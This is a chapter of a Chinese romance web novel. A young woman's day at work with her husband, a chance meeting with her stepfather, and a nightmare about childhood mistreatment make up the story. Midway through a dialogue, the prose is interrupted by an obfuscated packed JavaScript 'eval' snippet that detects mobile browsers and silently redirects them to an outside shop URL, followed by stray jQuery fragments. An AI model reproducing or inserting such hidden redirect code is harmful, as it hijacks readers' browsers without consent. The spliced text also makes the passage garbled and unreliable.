24. 噩梦

作品:《风筝密语[先婚后爱]

    挂念着没做完的方案,闹钟一响,程鸢就要起床,却被人拦腰抱了回去。


    池砚珩把人搂在胸前,嗓音低哑,“才六点,去哪?”


    她挣开胳膊,“昨晚上的方案还没做完。”


    “今晚回来再做。”


    程鸢才不信他这一套,“不行,万一有别的突发情况怎么办。”


    况且,一到晚上他就喜欢变卦。


    他闭着眼睛,嗓音带着磁性,“答应你,今晚什么也不干,行不行?”


    等拖到起床之后,时间又不早了,她匆匆吃了两口早饭,轻车熟路地打开副驾驶,坐了进去。


    驾驶座门打开,池砚珩进来。


    “终于放弃自己开车了?”


    程鸢摇了摇头,“之后还是要自己开的,今天不小心起晚了,所以给你个表现的机会。”


    “那我好好表现,有奖励吗?”


    她低着头系好安全带,又看了他一眼,撇撇嘴,“你以前不是这样的。”


    “哪样?”


    她说:“动不动就耍流氓。”


    他低头笑了声,微微探身,凑近她,“这就耍流氓了?”


    她伸出食指,按着他肩膀把人一点点推回去。


    “反正公司内不能这样,我们提前说好。”


    他答应的爽快,“没问题。”


    程鸢到公司后,先是在楼下便利店买了杯咖啡,计算着池砚珩已经到办公室后,打好时间差,这才慢悠悠地进去。


    门口碰上翻译部的四五个人,她跟大家打了招呼,接着就被身后的晓晓拍了下。


    “早啊。”


    程鸢:“早上好。”


    好巧不巧,几个人刚到电梯口,门就关上了。


    公司大楼在17层,下一趟电梯又要等好久。


    “啊我不会迟到吧!”人群中不知道是谁叹了口气。


    谁知,话音刚落,原本关上的电梯门忽然又打开了。


    映入眼帘的就是一身黑色西装的池砚珩,他旁边站着秘书和财务部的总监,纷纷端着张严肃无情的脸。


    乱哄哄的人群立马被冻住了。


    程鸢原本笑着打招呼的脸僵了下,下车才不出二十分钟,怎么偏偏在这里碰上了?


    也许是大早上碰见总裁太过意外,众人你看我我看你,谁也没敢吭声。


    安静几秒后,池砚珩看了眼面前鸦雀无声的几个人,开口:


    “你们不走?”


    同事终于反应过来,害怕迟到,赶紧答了句:“走走走,谢谢池总!”


    晓晓还打了个招呼,“池总,早。”


    池砚珩点了下头,面无表情道:“早。”


    电梯内,程鸢手机狂震,小群内大家正在重拳出击。


    “我去!!!池总居然跟我打招呼了!他每天都来上班吗?我之前从来没碰到过他!”


    “啊啊啊我刚刚差点吓死,一转头对上三个领导,今晚噩梦素材有了。”


    “有一说一,池总穿西装真的帅到我了,有种斯文——不是这能说吗?”


    “楼上别太过分啊,醒醒吧,今天周一。”


    程鸢被挤在电梯最里面,她穿了件薄毛衣,手旁边就是池砚珩的胳膊,轻微一晃就能碰到他的西装。


    她划两下屏幕,不自觉抬头看了眼他。


    来的时候没注意,他穿着黑色西装,身材高挺,光是这张脸就很出众。


    察觉到她视线的瞬间,男人回头看了眼。


    狭小的电梯内,气氛尴尬又局促,两人目光碰撞,池砚珩微微挑眉。


    她不自觉红了脸,赶紧低下头,跟着同事走了出去。


    今天就是正式进组的日子,她第一次接触核心项目,早早来到会议室,坐在角落准备好。


    旁边的凳子拉开,程鸢眼角余光看去。


    Ian缓缓拉开凳子,笑着打了招呼。


    “Yara姐,早。”


    上次帮人背锅的事过去之后,这还是Ian第一次主动和她说话。


    她脑海中升起丝丝疑惑,那天晚上被Ian撞见她和池砚珩一起吃饭,她一直忧心忡忡,担心Ian会把消息泄露出去。


    难道说,他没认出池砚珩?


    或者,可能他发现了,但出于尊重隐私,并没有告诉别人。


    这么想来,她随意揣测别人,倒显得心眼小了,程鸢一时间有点羞愧,和往常一样和人打了招呼。


    下班后,她收拾好东西,按照之前约定,在公司楼前的树下和池砚珩碰面,下午一起去商场买东西。


    出了公司就不用那么刻意了,池砚珩牵着她的手,两人十指紧扣,程鸢脸上挂着笑意,叽叽喳喳地跟他说着今天工作进度。


    接着就被人叫了名字。


    “小鸢!”


    听到声音后,她下意识回头,脸上还带着刚才的笑,看清那人的下一秒,却像是如坠冰窟,愣在原地。


    路上车水马龙,汽笛声不断,不远处。


    于兴忠穿一身灰色西装,远远站着叫住了她。


    还没等他们上前,男人就走了过来,开口道:“小鸢,好久不见你了,没想到能在这碰见……”


    闻言,池砚珩回过头来,就看到一个中年男人热切地跟她说话。


    “认识?”


    她没想过居然能在这碰见于叔叔,人都找到跟前来了,躲也躲不掉。


    程鸢垂下眼眸,看了眼他,说:“他是我继父。”


    池砚珩眸中闪过一丝意外,大概也是没预料到,见家长这事居然这么匆忙。


    他主动开口:“伯父您好,我是池砚珩。”


    于兴忠恍然,赶紧激动上前,伸出手,“噢!砚珩啊!你看我这,也没点眼力劲,真不好意思啊!”


    池砚珩绅士地和人握手,“没什么,是我做晚辈的礼数不到,结婚这么久也没去看您。”


    家境好,待人谦虚又有礼貌,两句话说的,于兴忠对池砚珩非常满意。


    而另一边,程鸢却一直沉默不语,甚至连个眼神都没给他。


    几个人站在大街上也不好,池砚珩主动提出问于兴忠,要不要坐他的车走。


    他连忙拒绝:“不用不用,我过来见几个供应商,明天一早就回去了,不麻烦你们。”


    直到走出好远,车后视镜里映出中年男人的身影,他似乎在打电话,脸上笑意不断。


    但程鸢疲惫地闭上眼睛,一路上都没什么精神。


    大概是白天太忙,她还没来得及看没做完的方案。


    晚上洗完澡,程鸢赶紧拿出电脑开始赶工。


    鼠标点击,打开文件后,映入眼帘的却是一份完整的报告。


    内容详细,重点分明,简直称得上完美。


    程鸢惊讶地扫了两眼,忽然想起什么。


    她起身,打开书房的门,刚好撞上一具坚硬又微微湿润的身体。


    池砚珩洗完澡出来,没穿上衣,正拿着毛巾擦头发。


    虽然早就坦诚相待几次,猛然在家里,明亮的灯光下见到他裸露的上身,程鸢还是不自觉垂下眼眸。


    “你怎么不穿衣服?”


    他把毛巾搭在肩膀上,“这不是正准备要去穿,怎么了?”


    他常年健身,身材保持极好,抬手擦头发时,露出胳膊上完美的肌肉线条。


    程鸢最痛恨自己这一点,美色在前,她呆愣愣地看了他好几秒,看他湿漉漉的眉毛,沾水的下巴,看着看着就忘了自己是来干什么的。


    直到池砚珩歪头看了眼,唇角缓缓勾起,点了下她眉心。


    “开机。”


    程鸢这才猛然反应过来,尴尬地摸了下鼻子。


    “那个……文件是你写的吗?”


    他佯装不知,“什么文件?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931848|147194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “就是我说明天要交的那个,我那天没写完,刚才打开一看已经全部写好了。”


    他哦了一声,没正面回答,这语气几乎就是默认。


    程鸢没好意思盯着他的上身,小声说了句谢谢。


    “就这么谢我?一点诚意都没有。”


    “那你还想怎么样?”


    他挑了下眉,“你猜?”


    程鸢不吃他这一套,装傻:“我不猜。”


    不需要赶进度加班,心里还是轻松不少,但她今天精神恹恹,没心思做别的,早早就爬到床上关了灯。


    池砚珩从背后抱着她,睡得还不错。


    而程鸢却做了噩梦。


    梦里回到南方小镇,夏天酷热,外面蝉鸣不断,本该是个聒噪但美好的暑假。


    俞月萍把于兴忠带回家,领到她和弟弟面前,通知他们,以后于叔叔要来住下。


    从小到大,俞月萍教育孩子有自己的一套,她崇尚打压式教育,严师才能出高徒。


    她面色严肃地告诉程鸢,“如果你表现不好,那就自己去乡下住,什么时候想清楚了再回来,明白没有?”


    这句话对于心智尚未成熟的她来说,无异于晴天霹雳。


    程鸢懵懂地点点头,为了迎接于叔叔,早早就开始紧张地准备,擦干净桌面,扫地,把能够到的窗户玻璃都沾水擦了一遍。


    直到见到这位面相不错的于叔叔,男人长着浓厚的眉毛,笑起来朴实,给她递了一串青绿大颗葡萄。


    她终于放心了。


    他会摸摸她的头,夸她会做家务,以后肯定是个勤快又能干的小孩儿。


    程鸢腼腆地笑着,她表现很好,危机暂时解除了。


    当天晚上,重新拼凑的一家人围在一起吃了饺子。


    程鸢搬好每个人的凳子,又殷勤地放上碗筷,站着等人来。


    弟弟年纪小,由俞月萍抱着吃饭,程鸢乖乖坐着。


    于兴忠去盛了大盘饺子后,又单独给她一个黄色挂耳小碗,语气温柔。


    “小鸢吃这份,这份不咸。”


    她接过来,满心欢喜,乐呵呵地看着一家团圆的热闹场面。


    妈妈抱着弟弟,叔叔在旁边逗着他笑。


    程鸢夹了个水饺,又白又香,低头咬下去。


    房间内笑声不断,其乐融融时,谁也没有注意到——


    她嚼了两口,脸色不对,觉得饺子好像不是肉馅。


    但嘴里没停,她又吃了一口。


    木屑和纸浆特有的口感传来,像是纸浆黏糊糊粘在舌头上,她看了眼正在说笑的两人。


    于兴忠回头,咧嘴笑了笑,看了她一眼。


    “怎么了?小鸢怎么不吃?”


    她张了张嘴,机械性地咀嚼着,没敢回答。


    他们的碗里放着吃了一半的猪肉馅水饺,沾了点醋,汤汁溢出到碗里,鲜香四溢。


    父亲去世后,家里经济不好,这一点她是知道的。


    因此,俞月萍对这桩婚姻抱有很大的期待,于兴忠自己有个厂子,两人结婚之后她就是老板娘,再也不用跑来跑去做推销药品的工作。


    一整晚上,俞月萍都很高兴,从没对她说过什么过分难听的话。


    煮熟的面皮软烂,包裹着未知馅料,黏在她的牙齿和舌头上,味同嚼蜡。


    最终,在于兴忠的注视中,程鸢伸了下脖子,缓慢艰难地咽了下去。


    于兴忠这才笑了,又继续回过头去吃饭。


    梦里,她面前还摆着那碗白花花热气腾腾的水饺,还是那个黄色挂耳小碗。


    她坐在桌前,抬手擦了下眼泪,又夹起一个饺子,慢慢吃了下去。


    睡着的人大概伤心极了。


    程鸢蜷缩成一团,极没有安全感。


    谁也看不见的黑夜里,一滴眼泪涌了出来,滑过她的鼻梁,脸颊,晕湿在枕头上。